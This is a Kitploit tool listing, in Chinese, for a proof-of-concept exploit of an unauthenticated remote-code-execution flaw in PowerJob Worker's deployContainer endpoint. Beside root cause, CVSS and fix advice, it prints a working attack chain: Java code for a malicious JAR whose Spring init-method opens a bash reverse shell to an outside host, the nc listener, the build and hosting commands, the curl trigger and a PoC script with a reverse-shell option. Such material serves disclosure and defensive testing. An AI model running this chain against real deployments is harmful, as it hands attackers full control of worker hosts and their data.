Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-75430_PowerJob_worker_deployContainer_RCE — CVE-2026-75430 的概念验证漏洞利用,通过 deployContainer 端点上的任意 JAR 加载,在 PowerJob Worker 上实现未经身份验证的远程代码执行。 | Kitploit
工具/GitHubGitHub/unpredictable21/cve-2026-75430_powerjob_worker_deploycontainer_rce
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubunpredictable21/cve-2026-75430_powerjob_worker_deploycontainer_rce

CVE-2026-75430_PowerJob_worker_deployContainer_RCE

CVE-2026-75430 的概念验证漏洞利用,通过 deployContainer 端点上的任意 JAR 加载,在 PowerJob Worker 上实现未经身份验证的远程代码执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
25天前尚未审核

PowerJob Worker 通过 /worker/deployContainer 未授权远程代码执行(任意 JAR 加载)

1. 概述

PowerJob Worker 在其 HTTP 传输端口 27777 上暴露了 deployContainer 处理器,且完全没有身份验证。攻击者提交一个任意 URL;Worker 会下载该 JAR 并通过 URLClassLoader + Spring ClassPathXmlApplicationContext 加载它,在 Spring init-method 期间执行任意代码 → Worker RCE。默认的 docker-compose 会将该端口发布到宿主机。

前提条件(如实说明): Worker 必须正在运行(27777 端口正在监听)。在默认配置下,Worker 在启动时会验证其应用已在服务器上注册(/server/assert);如果应用未注册,Worker 将无法启动,27777 端口也不会监听(已验证:Java 进程以退出码 1 结束)。因此,严格的全新“docker-compose up 且未进行控制台设置”状态无法直接利用。然而,PowerJob 的正常运行必然要求应用已注册且 Worker 在线(否则系统不会调度任何任务),因此任何实际使用的部署都天然满足该前提条件,之后该漏洞即可在零凭据下利用。相比之下,同系列发现 PJ-08(服务器 /friend/process)没有此类前提条件——服务器在启动时无条件绑定 10010 端口。

2. 受影响产品

  • 产品: PowerJob Worker(powerjob-worker,通过官方 powerjob-worker-samples 镜像部署)
  • 受影响版本: 5.1.2(Worker 传输层零身份验证设计自早期版本延续而来)
  • 默认部署: docker-compose.yml 中的 worker 服务,HTTP 协议,端口 27777(PowerJobWorkerConfig.java:34)

3. 漏洞位置

请求体 ServerDeployContainerRequest(字段 containerId/containerName/version/downloadURL)。

4. 根本原因

  • Worker↔Server 传输层没有令牌/签名身份验证;WorkerActor 处理器完全信任 downloadURL。
  • OmsContainerFactory 从任意 URL 下载 JAR 并立即调用 OmsJarContainer.init():URLClassLoader 加载 + Spring 上下文 refresh() → 恶意代码在类/Bean 初始化期间执行。

5. 攻击场景

前提条件: Worker 正在运行且 27777 端口正在监听(任何生产/演示部署均满足;如果运维人员按照官方流程操作并创建了示例应用,则 Worker 在线)。对于复现,Worker 可以使用 --powerjob.worker.allow-lazy-connect-server=true 启动以跳过应用注册检查(不建议在生产环境中使用;请注意该开关仅影响 Worker 是否上线——它不会改变开放端口上缺失身份验证的问题)。

  1. 攻击者托管一个 HTTP 文件服务器,提供恶意 JAR。JAR 结构(满足 OmsJarContainer.init() 的要求):
    • 包含 PACKAGE_NAME=com.evil 的 oms-worker-container.properties
    • com/evil/Exploit.class — 一个暴露 Spring init-method(例如 run())以执行命令的类
    • oms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>
  2. 向 Worker 端口 27777 发送 POST /worker/deployContainer,请求体为 {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}。
  3. Worker 下载 JAR → OmsJarContainer.init():OhMyClassLoader.load() 加载类(运行静态初始化器),然后 实例化 Bean 并调用 (以 Worker 的运行时权限执行)。

无输出回显: deployContainer 处理器返回 void,因此 HTTP 响应不携带命令输出(已验证:空响应体)。对于交互式命令执行,主要技术是反弹 shell(参见下方复现);标记文件变体仅是本地、非交互式的验证方式。

6. 复现(已验证)

环境:JDK 21,源码构建的 powerjob-worker-samples-5.1.2.jar,Worker 监听于 192.168.49.128:27777(使用 --powerjob.worker.allow-lazy-connect-server=true 启动以跳过应用注册)。

主要方式 — 反弹 shell(交互式命令执行):

恶意 JAR 的 Exploit.run()(Spring init-method)会生成一个反弹 shell。由于没有输出回显,这是在 Worker 主机上获得交互式命令执行的有效方式。

root@kitploit:~
# 1) 攻击者先监听:
nc -lvnp 7878

# 2) 构建恶意 JAR — Exploit.run() 运行 bash 反弹 shell
package com.evil;
public class Exploit {
    public void run() {
        Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
          "bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"});   // LHOST:LPORT
    }
}
# oms-worker-container.properties :  PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
#   <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
  oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000     # 托管 evil.jar

# 3) 触发(无需凭据):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
  "containerId": 3, "containerName": "evil", "version": "3",
  "downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
image

或者,使用脚本进行验证: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878

PoC 关键点: OhMyClassLoader.load() 仅调用 loadClass(),它不运行静态初始化器;实际执行点是 ClassPathXmlApplicationContext.refresh() 调用的 Spring init-method。因此恶意 JAR 必须携带 Spring XML 并声明 init-method。反弹 shell 必须通过 /bin/bash -c 运行,因为 /bin/sh(dash)无法解析 /dev/tcp。

7. 影响

  • 完全控制 Worker 节点(窃取任务参数/代码、读写任务结果、横向渗透到消费任务输出的业务系统)。
  • 影响边界: Worker 进程 / 主机。

8. 修复建议

  • 为传输层添加双向身份验证;仅允许受信任的 Server 触发 deployContainer 并验证来源。
  • 将 downloadURL 限制为受信任的内部地址;在加载前验证 JAR 的哈希/签名。

9. CWE / CVSS

  • CWE:CWE-94(代码生成控制不当)/ CWE-502(不可信数据反序列化 / 不可信加载)
  • CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 严重

10. 证据 / 披露

  • 分析:PowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md(PJ-09)
  • 复现:已在本地验证(192.168.49.128:27777,无凭据 → Worker RCE);参见 ## 6. 复现
  • PoC:PowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py(自动构建 JAR + 托管 + 触发,--reverse-shell,-p/--proxy)
  • 提交:与 PJ-08/PJ-12 一起通过 PowerJob SECURITY.md 渠道提交(Tidelift / [email protected] / GitHub Security Advisory)
下载工具
项目值
入口点POST http://<worker>:27777/worker/deployContainer
处理器powerjob-worker/.../actors/WorkerActor.java:32-35(@Actor(path="worker"),无身份验证)
下载OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...)
加载OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh()
不
ClassPathXmlApplicationContext.refresh()
init-method → 任意命令执行
  • 附加:脚本处理器 AbstractScriptProcessor.java:118-123 也支持从任意 URL 下载 → Worker 端 SSRF。